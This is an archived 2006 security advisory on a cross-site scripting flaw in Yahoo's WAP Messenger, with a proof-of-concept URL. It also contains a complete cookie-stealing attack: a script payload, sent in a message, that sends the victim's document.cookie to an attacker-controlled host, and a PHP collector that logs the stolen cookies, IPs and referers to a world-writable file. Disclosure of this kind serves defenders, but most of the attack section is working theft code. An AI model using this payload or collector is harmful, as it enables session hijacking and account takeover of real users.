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ECHO_ADV_47_2006

ECHO_ADV_47_2006
Posted Sep 27, 2006
Site advisories.echo.or.id

ECHO_ADV_47$2006: WAP Y! Messenger Cross-Site Scripting Vulnerability

tags | advisory, xss
SHA-256 | 089a776d986d9377925ae4d34aea863001e9a836082b2a3e6386c58e98ea0ff0

ECHO_ADV_47_2006

Change Mirror Download
ECHO_ADV_47$2006

------------------------------------------------------------------------------
[ECHO_ADV_47$2006] WAP Y! Messenger Cross-Site Scripting Vulnerability
------------------------------------------------------------------------------

Author : Dedi Dwianto
Date Found : Sep, 14th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv47-theday-2006.txt
Critical Lvl : Medium Critical
Impact : Cross Site Scripting
Where : From Remote
---------------------------------------------------------------------------

Affected Yahoo Service description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Wireless Application Protocol or WAP is an open international standard for applications thatuse wireless communication.
Its principal application is to enable access to the internet from a mobile phone or PDA.
Yahoo! Have wap site which provide mobile services such as messenger,mail and news via
mobile phone or PDA.

Service : Y! Messenger
URL : http://mm.yahoo.com/

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~
Y! Wap messenger allow user can execute the HTML code if message want to save.

Proof Of Concept:
~~~~~~~~~~~~~~~
[1] Open and login with wap browser ,
url : http://mm.yahoo.com
[2] Goto :
http://mm.yahoo.com/xhtml?k=[id]&u=[your_nick]&s=[your session]&m=[your_nick]_dummymin&c=707&p=&d=[your_friend_id]*[your_nick]*[random number]*[XSS HERE]

Attacker Stealting Cookie for get Account :
[1] Send message to victim with connected via mobile/wap .
message :
----begin----
Hello , please save my message :)
<script>document.location='http://your-server/get_cookie.php?ambil=' + document.cookie</script>
----end -----

----get_cookie.php----
<?php
$cookie = $_GET['ambil'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br><br>');
fclose($fp);
?>
----end -----
change permission file cookies.txt to 777


Solution:
~~~~~~~
- Don't Save any message with html code :).

---------------------------------------------------------------------------
Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ az001,boom3x,mathdule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
EcHo Research & Development Center
the_day[at]echo[dot]or[dot]id

-------------------------------- [ EOF ]----------------------------------
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